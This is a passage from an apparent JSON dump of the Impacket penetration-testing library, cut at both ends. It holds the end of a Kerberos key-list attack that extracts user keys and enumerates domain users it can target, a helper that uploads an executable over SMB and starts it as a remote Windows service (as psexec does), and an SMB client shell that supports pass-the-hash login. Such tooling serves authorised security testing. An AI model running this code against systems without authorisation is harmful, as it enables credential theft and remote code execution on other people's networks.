elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0:\n                logging.error(\"User %s's password has expired\", userName)\n            elif str(error).find('Connection timed out') >= 0:\n                raise Exception(\"Connection timed out: check the KDC HostName or IP address, aborting\")\n            elif str(error).find('Name or service not known') >= 0:\n                raise Exception(\"Name or service not known: check the KDC HostName or IP address, aborting\")\n            elif str(error).find('KDC_ERR_WRONG_REALM') >= 0:\n                raise Exception(\"KDC_ERR_WRONG_REALM: domain doesn't exist, aborting\")\n            elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:\n                raise Exception(\"KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting\")\n            elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0:\n                raise Exception(\"KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting\")\n            else:\n                logging.error(error)\n            return None\n        return resp\n\n    @staticmethod\n    def getKey(resp, sessionKey):\n        tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0]\n\n        encTGSRepPart = tgsRep['enc-part']\n        enctype = encTGSRepPart['etype']\n        cipher = _enctype_table[enctype]\n\n        keyAuth = Key(cipher.enctype, bytes(sessionKey))\n        decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher'])\n        decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0]\n        encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0]\n        decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0]\n        key = decodedPaData1[0]['keyvalue'].prettyPrint()\n\n        return key\n\n    def getAllowedUsersToReplicate(self):\n        # Enumerate all groups in domain\n        resp = self.__remoteOps.getGroupsInDomain()\n        groupsList = []\n        for group in resp['Buffer']['Buffer']:\n            groupsList.append(group['RelativeId'])\n\n        # Enumerate all aliases in domain\n        resp = self.__remoteOps.getAliasesInDomain()\n        aliasesList = []\n        for alias in resp['Buffer']['Buffer']:\n            aliasesList.append(alias['RelativeId'])\n\n        # Enumerate denied users to replicate (alias \"Denied Password Replication\" RID:572)\n        resp = self.__remoteOps.getMembersInAlias(rid=572)\n        deniedList = [500, 501, 502, 503]\n        for user in resp['Members']['Sids']:\n            rid = user['Data']['SidPointer']['SubAuthority'][4]\n            if rid not in deniedList:\n                deniedList.append(rid)\n\n        # Enumerate denied users in nested groups/aliases\n        for rid in deniedList:\n            if rid in groupsList:\n                resp = self.__remoteOps.getMembersInGroup(rid)\n                for user in resp['Members']['Members']:\n                    rid2 = user['Data']\n                    if rid2 not in deniedList:\n                        deniedList.append(rid2)\n            elif rid in aliasesList:\n                resp = self.__remoteOps.getMembersInAlias(rid)\n                for user in resp['Members']['Sids']:\n                    rid2 = user['Data']['SidPointer']['SubAuthority'][4]\n                    if rid2 not in deniedList:\n                        deniedList.append(rid2)\n\n        # Enumerate all users and filter denied ones\n        resp = self.__remoteOps.getDomainUsers()\n        targetList = []\n        for user in resp['Buffer']['Buffer']:\n            if user['RelativeId'] not in deniedList and \"krbtgt_\" not in user['Name']:\n                targetList.append(user['Name'] + \":\" + str(user['RelativeId']))\n\n        return targetList\n\n\ndef _print_helper(*args, **kwargs):\n    print(args[-1])\n"
  },
  {
    "path": "impacket/examples/serviceinstall.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Service Install Helper library used by psexec and smbrelayx\n#   You provide an already established connection and an exefile\n#   (or class that mimics a file class) and this will install and\n#   execute the service, and then uninstall (install(), uninstall().\n#   It tries to take care as much as possible to leave everything clean.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nimport random\nimport string\n\nfrom impacket.dcerpc.v5 import transport, srvs, scmr\nfrom impacket import smb,smb3, LOG\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.smb3structs import FILE_WRITE_DATA, FILE_DIRECTORY_FILE\n\nclass ServiceInstall:\n    def __init__(self, SMBObject, exeFile, serviceName='', binary_service_name=None):\n        self._rpctransport = 0\n        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.ascii_letters) for i in range(4)])\n\n        if binary_service_name is None:\n            self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe'\n        else:\n            self.__binary_service_name = binary_service_name\n            \n        self.__exeFile = exeFile\n\n        # We might receive two different types of objects, always end up\n        # with a SMBConnection one\n        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):\n            self.connection = SMBConnection(existingConnection = SMBObject)\n        else:\n            self.connection = SMBObject\n\n        self.share = ''\n\n    @property\n    def serviceName(self):\n        return self.__service_name\n\n    @property\n    def binaryServiceName(self):\n        return self.__binary_service_name\n\n    def getShare(self):\n        return self.share\n\n    def getShares(self):\n        # Setup up a DCE SMBTransport with the connection already in place\n        LOG.info(\"Requesting shares on %s.....\" % (self.connection.getRemoteHost()))\n        try:\n            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),\n                                                        self.connection.getRemoteHost(),filename = r'\\srvsvc',\n                                                        smb_connection = self.connection)\n            dce_srvs = self._rpctransport.get_dce_rpc()\n            dce_srvs.connect()\n\n            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)\n            resp = srvs.hNetrShareEnum(dce_srvs, 1)\n            return resp['InfoStruct']['ShareInfo']['Level1']\n        except:\n            LOG.critical(\"Error requesting shares on %s, aborting.....\" % (self.connection.getRemoteHost()))\n            raise\n\n\n    def createService(self, handle, share, path):\n        LOG.info(\"Creating service %s on %s.....\" % (self.__service_name, self.connection.getRemoteHost()))\n\n        # First we try to open the service in case it exists. If it does, we remove it.\n        try:\n            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\\x00')\n        except Exception as e:\n            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:\n                # We're good, pass the exception\n                pass\n            else:\n                raise e\n        else:\n            # It exists, remove it\n            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])\n            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])\n\n        # Create the service\n        command = '%s\\\\%s' % (path, self.__binary_service_name)\n        try:\n            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\\x00', self.__service_name + '\\x00',\n                                         lpBinaryPathName=command + '\\x00', dwStartType=scmr.SERVICE_DEMAND_START)\n        except:\n            LOG.critical(\"Error creating service %s on %s\" % (self.__service_name, self.connection.getRemoteHost()))\n            raise\n        else:\n            return resp['lpServiceHandle']\n\n    def openSvcManager(self):\n        LOG.info(\"Opening SVCManager on %s.....\" % self.connection.getRemoteHost())\n        # Setup up a DCE SMBTransport with the connection already in place\n        self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),\n                                                    filename = r'\\svcctl', smb_connection = self.connection)\n        self.rpcsvc = self._rpctransport.get_dce_rpc()\n        self.rpcsvc.connect()\n        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)\n        try:\n            resp = scmr.hROpenSCManagerW(self.rpcsvc)\n        except:\n            LOG.critical(\"Error opening SVCManager on %s.....\" % self.connection.getRemoteHost())\n            raise Exception('Unable to open SVCManager')\n        else:\n            return resp['lpScHandle']\n\n    def copy_file(self, src, tree, dst):\n        LOG.info(\"Uploading file %s\" % dst)\n        if isinstance(src, str):\n            # We have a filename\n            fh = open(src, 'rb')\n        else:\n            # We have a class instance, it must have a read method\n            fh = src\n        f = dst\n        pathname = f.replace('/','\\\\')\n        try:\n            self.connection.putFile(tree, pathname, fh.read)\n        except:\n            LOG.critical(\"Error uploading file %s, aborting.....\" % dst)\n            raise\n        fh.close()\n\n    def findWritableShare(self, shares):\n        # Check we can write a file on the shares, stop in the first one\n        writeableShare = None\n        for i in shares['Buffer']:\n            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:\n               share = i['shi1_netname'][:-1]\n               tid = 0\n               try:\n                   tid = self.connection.connectTree(share)\n                   self.connection.openFile(tid, '\\\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)\n               except:\n                   LOG.debug('Exception', exc_info=True)\n                   LOG.critical(\"share '%s' is not writable.\" % share)\n                   pass\n               else:\n                   LOG.info('Found writable share %s' % share)\n                   writeableShare = str(share)\n                   break\n               finally:\n                   if tid != 0:\n                       self.connection.disconnectTree(tid)\n        return writeableShare\n\n    def install(self):\n        if self.connection.isGuestSession():\n            LOG.critical(\"Authenticated as Guest. Aborting\")\n            self.connection.logoff()\n            del self.connection\n        else:\n            fileCopied = False\n            serviceCreated = False\n            # Do the stuff here\n            try:\n                # Let's get the shares\n                shares = self.getShares()\n                self.share = self.findWritableShare(shares)\n                if self.share is None:\n                    return False\n                self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)\n                fileCopied = True\n                svcManager = self.openSvcManager()\n                if svcManager != 0:\n                    serverName = self.connection.getServerName()\n                    if self.share.lower() == 'admin$':\n                        path = '%systemroot%'\n                    else:\n                        if serverName != '':\n                           path = '\\\\\\\\%s\\\\%s' % (serverName, self.share)\n                        else:\n                           path = '\\\\\\\\127.0.0.1\\\\' + self.share\n                    service = self.createService(svcManager, self.share, path)\n                    serviceCreated = True\n                    if service != 0:\n                        # Start service\n                        LOG.info('Starting service %s.....' % self.__service_name)\n                        try:\n                            scmr.hRStartServiceW(self.rpcsvc, service)\n                        except:\n                            pass\n                        scmr.hRCloseServiceHandle(self.rpcsvc, service)\n                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)\n                    return True\n            except Exception as e:\n                LOG.critical(\"Error performing the installation, cleaning up: %s\" %e)\n                LOG.debug(\"Exception\", exc_info=True)\n                try:\n                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)\n                except:\n                    pass\n                if fileCopied is True:\n                    try:\n                        self.connection.deleteFile(self.share, self.__binary_service_name)\n                    except:\n                        pass\n                if serviceCreated is True:\n                    try:\n                        scmr.hRDeleteService(self.rpcsvc, service)\n                    except:\n                        pass\n            return False\n\n    def uninstall(self):\n        fileCopied = True\n        serviceCreated = True\n        # Do the stuff here\n        try:\n            # Let's get the shares\n            svcManager = self.openSvcManager()\n            if svcManager != 0:\n                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\\x00')\n                service = resp['lpServiceHandle']\n                LOG.info('Stopping service %s.....' % self.__service_name)\n                try:\n                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)\n                except:\n                    pass\n                LOG.info('Removing service %s.....' % self.__service_name)\n                scmr.hRDeleteService(self.rpcsvc, service)\n                scmr.hRCloseServiceHandle(self.rpcsvc, service)\n                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)\n            LOG.info('Removing file %s.....' % self.__binary_service_name)\n            self.connection.deleteFile(self.share, self.__binary_service_name)\n        except Exception:\n            LOG.critical(\"Error performing the uninstallation, cleaning up\" )\n            try:\n                scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)\n            except:\n                pass\n            if fileCopied is True:\n                try:\n                    self.connection.deleteFile(self.share, self.__binary_service_name)\n                except:\n                    try:\n                        self.connection.deleteFile(self.share, self.__binary_service_name)\n                    except:\n                        pass\n                    pass\n            if serviceCreated is True:\n                try:\n                    scmr.hRDeleteService(self.rpcsvc, service)\n                except:\n                    pass\n"
  },
  {
    "path": "impacket/examples/smbclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mini shell using some of the SMB funcionality of the library\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   SMB DCE/RPC\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom io import BytesIO\nimport sys\nimport time\nimport cmd\nimport os\nimport ntpath\n\nfrom six import PY2\nfrom impacket.dcerpc.v5 import samr, transport, srvs\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket import LOG\nfrom impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError, \\\n    FILE_READ_DATA, FILE_SHARE_READ, FILE_SHARE_WRITE, FILE_SHARE_DELETE\nfrom impacket.smb3structs import FILE_DIRECTORY_FILE, FILE_LIST_DIRECTORY\nfrom impacket.acl import SMBFileACL\n\nimport charset_normalizer as chardet\n\n\nclass MiniImpacketShell(cmd.Cmd):\n    def __init__(self, smbClient, tcpShell=None, outputfile=None):\n        #If the tcpShell parameter is passed (used in ntlmrelayx),\n        # all input and output is redirected to a tcp socket\n        # instead of to stdin / stdout\n        if tcpShell is not None:\n            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)\n            sys.stdout = tcpShell.stdout\n            sys.stdin = tcpShell.stdin\n            sys.stderr = tcpShell.stdout\n            self.use_rawinput = False\n            self.shell = tcpShell\n        else:\n            cmd.Cmd.__init__(self)\n            self.shell = None\n\n        self.prompt = '# '\n        self.smb = smbClient\n        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()\n        self.tid = None\n        self.intro = 'Type help for list of commands'\n        self.pwd = ''\n        self.share = None\n        self.loggedIn = True\n        self.last_output = None\n        self.completion = []\n        self.outputfile = outputfile\n\n    def emptyline(self):\n        pass\n\n    def precmd(self,line):\n        # switch to unicode\n        if self.outputfile is not None:\n            f = open(self.outputfile, 'a')\n            f.write('> ' + line + \"\\n\")\n            f.close()\n        if PY2:\n            return line.decode('utf-8')\n        return line\n\n    def onecmd(self,s):\n        retVal = False\n        try:\n           retVal = cmd.Cmd.onecmd(self,s)\n        except Exception as e:\n           LOG.error(e)\n           LOG.debug('Exception info', exc_info=True)\n\n        return retVal\n\n    def do_exit(self,line):\n        if self.shell is not None:\n            self.shell.close()\n        return True\n\n    def do_shell(self, line):\n        output = os.popen(line).read()\n        print(output)\n        self.last_output = output\n\n    def do_help(self,line):\n        print(\"\"\"\n open {host,port=445} - opens a SMB connection against the target host/port\n reconnect - reconnect connection, useful for broken pipes & interrupted sessions\n login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted\n kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name\n login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes\n logoff - logs off\n shares - list available shares\n use {sharename} - connect to an specific share\n cd {path} - changes the current directory to {path}\n lcd {path} - changes the current local directory to {path}\n pwd - shows current remote directory\n password - changes the user password, the new password will be prompted for input\n ls {wildcard} - lists all the files in the current directory\n lls {dirname} - lists all the files on the local filesystem.\n tree {filepath} - recursively lists all files in folder and sub folders\n rm {file} - removes the selected file\n mkdir {dirname} - creates the directory under the current path\n rmdir {dirname} - removes the directory under the current path\n put {filename} - uploads the filename into the current path\n get {filename} - downloads the filename from the current path\n mget {mask} - downloads all files from the current directory matching the provided mask\n cat {filename} - reads the filename from the current path\n mount {target,path} - creates a mount point from {path} to {target} (admin required)\n umount {path} - removes the mount point at {path} without deleting the directory (admin required)\n list_snapshots {path} - lists the vss snapshots for the specified path\n info - returns NetrServerInfo main results\n who - returns the sessions currently connected at the target host (admin required)\n acl {filename,action,permissions,user/group} - displays or modifies file ACLs\n close - closes the current SMB Session\n exit - terminates the server process (and this session)\n\n\"\"\")\n\n    def do_password(self, line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        from getpass import getpass\n        newPassword = getpass(\"New Password:\")\n        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\\samr', smb_connection = self.smb)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(samr.MSRPC_UUID_SAMR)\n        samr.hSamrUnicodeChangePasswordUser2(dce, '\\x00', self.username, self.password, newPassword, self.lmhash, self.nthash)\n        self.password = newPassword\n        self.lmhash = None\n        self.nthash = None\n\n    def do_open(self,line):\n        l = line.split(' ')\n        port = 445\n        if len(l) > 0:\n           host = l[0]\n        if len(l) > 1:\n           port = int(l[1])\n\n\n        if port == 139:\n            self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)\n        else:\n            self.smb = SMBConnection(host, host, sess_port=port)\n\n        dialect = self.smb.getDialect()\n        if dialect == SMB_DIALECT:\n            LOG.info(\"SMBv1 dialect used\")\n        elif dialect == SMB2_DIALECT_002:\n            LOG.info(\"SMBv2.0 dialect used\")\n        elif dialect == SMB2_DIALECT_21:\n            LOG.info(\"SMBv2.1 dialect used\")\n        else:\n            LOG.info(\"SMBv3.0 dialect used\")\n\n        self.share = None\n        self.tid = None\n        self.pwd = ''\n        self.loggedIn = False\n        self.password = None\n        self.lmhash = None\n        self.nthash = None\n        self.username = None\n\n    def do_reconnect(self, line):\n        if self.smb:\n            self.smb.reconnect()\n        else:\n            LOG.warning(\"Not reconnecting a closed connection.\")\n    \n    def do_login(self,line):\n        if self.smb is None:\n            LOG.error(\"No connection open\")\n            return\n        l = line.split(' ')\n        username = ''\n        password = ''\n        domain = ''\n        if len(l) > 0:\n           username = l[0]\n        if len(l) > 1:\n           password = l[1]\n\n        if username.find('/') > 0:\n           domain, username = username.split('/')\n\n        if password == '' and username != '':\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        self.smb.login(username, password, domain=domain)\n        self.password = password\n        self.username = username\n\n        if self.smb.isGuestSession() > 0:\n            LOG.info(\"GUEST Session Granted\")\n        else:\n            LOG.info(\"USER Session Granted\")\n        self.loggedIn = True\n\n    def do_kerberos_login(self,line):\n        if self.smb is None:\n            LOG.error(\"No connection open\")\n            return\n        l = line.split(' ')\n        username = ''\n        password = ''\n        domain = ''\n        if len(l) > 0:\n           username = l[0]\n        if len(l) > 1:\n           password = l[1]\n\n        if username.find('/') > 0:\n           domain, username = username.split('/')\n\n        if domain == '':\n            LOG.error(\"Domain must be specified for Kerberos login\")\n            return\n\n        if password == '' and username != '':\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        self.smb.kerberosLogin(username, password, domain=domain)\n        self.password = password\n        self.username = username\n\n        if self.smb.isGuestSession() > 0:\n            LOG.info(\"GUEST Session Granted\")\n        else:\n            LOG.info(\"USER Session Granted\")\n        self.loggedIn = True\n\n    def do_login_hash(self,line):\n        if self.smb is None:\n            LOG.error(\"No connection open\")\n            return\n        l = line.split(' ')\n        domain = ''\n        if len(l) > 0:\n           username = l[0]\n        if len(l) > 1:\n           hashes = l[1]\n        else:\n           LOG.error(\"Hashes needed. Format is lmhash:nthash\")\n           return\n\n        if username.find('/') > 0:\n           domain, username = username.split('/')\n\n        lmhash, nthash = hashes.split(':')\n\n        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)\n        self.username = username\n        self.lmhash = lmhash\n        self.nthash = nthash\n\n        if self.smb.isGuestSession() > 0:\n            LOG.info(\"GUEST Session Granted\")\n        else:\n            LOG.info(\"USER Session Granted\")\n        self.loggedIn = True\n\n    def do_logoff(self, line):\n        if self.smb is None:\n            LOG.error(\"No connection open\")\n            return\n        self.smb.logoff()\n        del self.smb\n        self.share = None\n        self.smb = None\n        self.tid = None\n        self.pwd = ''\n        self.loggedIn = False\n        self.password = None\n        self.lmhash = None\n        self.nthash = None\n        self.username = None\n\n    def do_info(self, line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\\srvsvc', smb_connection = self.smb)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(srvs.MSRPC_UUID_SRVS)\n        resp = srvs.hNetrServerGetInfo(dce, 102)\n\n        print(\"Version Major: %d\" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])\n        print(\"Version Minor: %d\" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])\n        print(\"Server Name: %s\" % resp['InfoStruct']['ServerInfo102']['sv102_name'])\n        print(\"Server Comment: %s\" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])\n        print(\"Server UserPath: %s\" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])\n        print(\"Simultaneous Users: %d\" % resp['InfoStruct']['ServerInfo102']['sv102_users'])\n\n    def do_who(self, line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\\srvsvc', smb_connection = self.smb)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(srvs.MSRPC_UUID_SRVS)\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)\n\n        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:\n            print(\"host: %15s, user: %5s, active: %5d, idle: %5d\" % (\n            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],\n            session['sesi10_idle_time']))\n\n    def do_shares(self, line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        resp = self.smb.listShares()\n        if self.outputfile is not None:\n            f = open(self.outputfile, 'a')\n        for i in range(len(resp)):\n            if self.outputfile:\n                f.write(resp[i]['shi1_netname'][:-1] + '\\n')\n            print(resp[i]['shi1_netname'][:-1])\n        if self.outputfile:\n            f.close()\n\n    def do_use(self,line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        self.share = line\n        self.tid = self.smb.connectTree(line)\n        self.pwd = '\\\\'\n        self.do_ls('', False)\n\n    def complete_cd(self, text, line, begidx, endidx):\n        return self.complete_get(text, line, begidx, endidx, include = 2)\n\n    def do_cd(self, line):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        p = line.replace('/','\\\\')\n        oldpwd = self.pwd\n        if p[0] == '\\\\':\n           self.pwd = line\n        else:\n           self.pwd = ntpath.join(self.pwd, line)\n        self.pwd = ntpath.normpath(self.pwd)\n        # Let's try to open the directory to see if it's valid\n        try:\n            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |\n                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )\n            self.smb.closeFile(self.tid,fid)\n        except SessionError:\n            self.pwd = oldpwd\n            raise\n\n    def do_lcd(self, s):\n        print(s)\n        if s == '':\n           print(os.getcwd())\n        else:\n           os.chdir(s)\n\n    def do_pwd(self,line):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        print(self.pwd.replace(\"\\\\\",\"/\"))\n        if self.outputfile is not None:        \n            f = open(self.outputfile, 'a')\n            f.write(self.pwd.replace(\"\\\\\",\"/\"))\n            f.close()\n\n    def do_ls(self, wildcard, display = True):\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        if wildcard == '':\n           pwd = ntpath.join(self.pwd,'*')\n        else:\n           pwd = ntpath.join(self.pwd, wildcard)\n        self.completion = []\n        pwd = pwd.replace('/','\\\\')\n        pwd = ntpath.normpath(pwd)\n        if self.outputfile is not None:\n            of = open(self.outputfile, 'a')\n        for f in self.smb.listPath(self.share, pwd):\n            if display is True:\n                if self.outputfile:\n                    of.write(\"%crw-rw-rw- %10d  %s %s\" % (\n                    'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),\n                    f.get_longname()) + \"\\n\")\n                \n                print(\"%crw-rw-rw- %10d  %s %s\" % (\n                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),\n                f.get_longname()))\n            self.completion.append((f.get_longname(), f.is_directory()))\n        if self.outputfile:\n            of.close()\n    \n    def do_lls(self, currentDir):\n        if currentDir == \"\":\n            currentDir = \"./\"\n        else:\n            pass\n        for LINE in os.listdir(currentDir):\n            print(LINE)\n\n    def do_listFiles(self, share, ip):\n        retList = []\n        retFiles = []\n        retInt = 0\n        try:                \n            for LINE in self.smb.listPath(self.share, ip):\n                if(LINE.get_longname() == \".\" or LINE.get_longname() == \"..\"):\n                    pass\n                else:\n                    retInt = retInt + 1\n                    print(ip.strip(\"*\").replace(\"//\",\"/\") + LINE.get_longname())\n                    if(LINE.is_directory()):\n                        retval = ip.strip(\"*\").replace(\"//\",\"/\") + LINE.get_longname()\n                        retList.append(retval)\n                    else:\n                        retval = ip.strip(\"*\").replace(\"//\",\"/\") + LINE.get_longname()\n                        retFiles.append(retval)\n        except:\n            pass\n        return retList,retFiles,retInt\n\n    def do_tree(self, filepath):\n        folderList = []\n        retList = []\n        totalFilesRead = 0\n        if self.loggedIn is False:\n            LOG.error(\"Not logged in\")\n            return\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n\n        filepath = filepath.replace(\"\\\\\", \"/\")\n        if not filepath.startswith(\"/\"):\n            filepath = self.pwd.replace(\"\\\\\", \"/\")  + \"/\" + filepath\n        if(not filepath.endswith(\"/*\")):\n            filepath = filepath + \"/*\"\n        filepath = os.path.abspath(filepath).replace(\"//\",\"/\")\n\n        for LINE in self.smb.listPath(self.share, filepath):\n            if(LINE.is_directory()):\n                if(LINE.get_longname() == \".\" or LINE.get_longname() == \"..\"):\n                    pass\n                else:\n                    totalFilesRead = totalFilesRead + 1 \n                    folderList.append(filepath.strip(\"*\") + LINE.get_longname())\n            else:\n                print(filepath.strip(\"*\") + LINE.get_longname())\n        for ITEM in folderList:\n            ITEM = ITEM + \"/*\"\n            try: \n                retList, retFiles, retInt = self.do_listFiles(self.share,ITEM)\n                for q in retList:\n                    folderList.append(q)\n                totalFilesRead = totalFilesRead + retInt\n            except:\n                pass\n        print(\"Finished - \" + str(totalFilesRead) + \" files and folders\")\n\n    def do_rm(self, filename):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        f = ntpath.join(self.pwd, filename)\n        file = f.replace('/','\\\\')\n        self.smb.deleteFile(self.share, file)\n\n    def do_mkdir(self, path):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        p = ntpath.join(self.pwd, path)\n        pathname = p.replace('/','\\\\')\n        self.smb.createDirectory(self.share,pathname)\n\n    def do_rmdir(self, path):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        p = ntpath.join(self.pwd, path)\n        pathname = p.replace('/','\\\\')\n        self.smb.deleteDirectory(self.share, pathname)\n\n    def do_put(self, pathname):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        src_path = pathname\n        dst_name = os.path.basename(src_path)\n\n        fh = open(pathname, 'rb')\n        f = ntpath.join(self.pwd,dst_name)\n        finalpath = f.replace('/','\\\\')\n        self.smb.putFile(self.share, finalpath, fh.read)\n        fh.close()\n\n    def complete_get(self, text, line, begidx, endidx, include = 1):\n        # include means\n        # 1 just files\n        # 2 just directories\n        p = line.replace('/','\\\\')\n        if p.find('\\\\') < 0:\n            items = []\n            if include == 1:\n                mask = 0\n            else:\n                mask = 0x010\n            for i in self.completion:\n                if i[1] == mask:\n                    items.append(i[0])\n            if text:\n                return  [\n                    item for item in items\n                    if item.upper().startswith(text.upper())\n                ]\n            else:\n                return items\n\n    def do_mget(self, mask):\n        if mask == '':\n            LOG.error(\"A mask must be provided\")\n            return\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        self.do_ls(mask,display=False)\n        if len(self.completion) == 0:\n            LOG.error(\"No files found matching the provided mask\")\n            return \n        for file_tuple in self.completion:\n            if file_tuple[1] == 0:\n                filename = file_tuple[0]\n                filename = filename.replace('/', '\\\\')\n                fh = open(ntpath.basename(filename), 'wb')\n                pathname = ntpath.join(self.pwd, filename)\n                try:\n                    LOG.info(\"Downloading %s\" % (filename))\n                    self.smb.getFileEx(self.share, pathname, fh.write)\n                except:\n                    fh.close()\n                    os.remove(filename)\n                    raise\n                fh.close()\n\n    def do_get(self, filename):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        filename = filename.replace('/','\\\\')\n        fh = open(ntpath.basename(filename),'wb')\n        pathname = ntpath.join(self.pwd,filename)\n        try:\n            self.smb.getFileEx(self.share, pathname, fh.write)\n        except:\n            fh.close()\n            os.remove(filename)\n            raise\n        fh.close()\n\n    def complete_cat(self, text, line, begidx, endidx):\n        return self.complete_get(text, line, begidx, endidx, include=1)\n    \n    def do_cat(self, filename):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        filename = filename.replace('/','\\\\')\n        fh = BytesIO()\n        pathname = ntpath.join(self.pwd,filename)\n        try:\n            self.smb.getFileEx(self.share, pathname, fh.write)\n        except:\n            raise\n        output = fh.getvalue()\n        encoding = chardet.detect(output)[\"encoding\"]\n        error_msg = \"[-] Output cannot be correctly decoded, are you sure the text is readable ?\"\n        if self.outputfile is not None:\n            f = open(self.outputfile, 'a')\n        if encoding:\n            try:\n                if self.outputfile:\n                    f.write(output.decode(encoding) + '\\n')\n                    f.close()\n                print(output.decode(encoding))\n            except:\n                if self.outputfile:\n                    f.write(error_msg + '\\n')\n                    f.close()\n                print(error_msg)\n            finally:\n                fh.close()\n        else:\n            if self.outputfile:\n                f.write(error_msg + '\\n')\n                f.close()\n            print(error_msg)\n            fh.close()\n\n    def do_close(self, line):\n        self.do_logoff(line)\n\n    def do_list_snapshots(self, line):\n        l = line.split(' ')\n        if len(l) 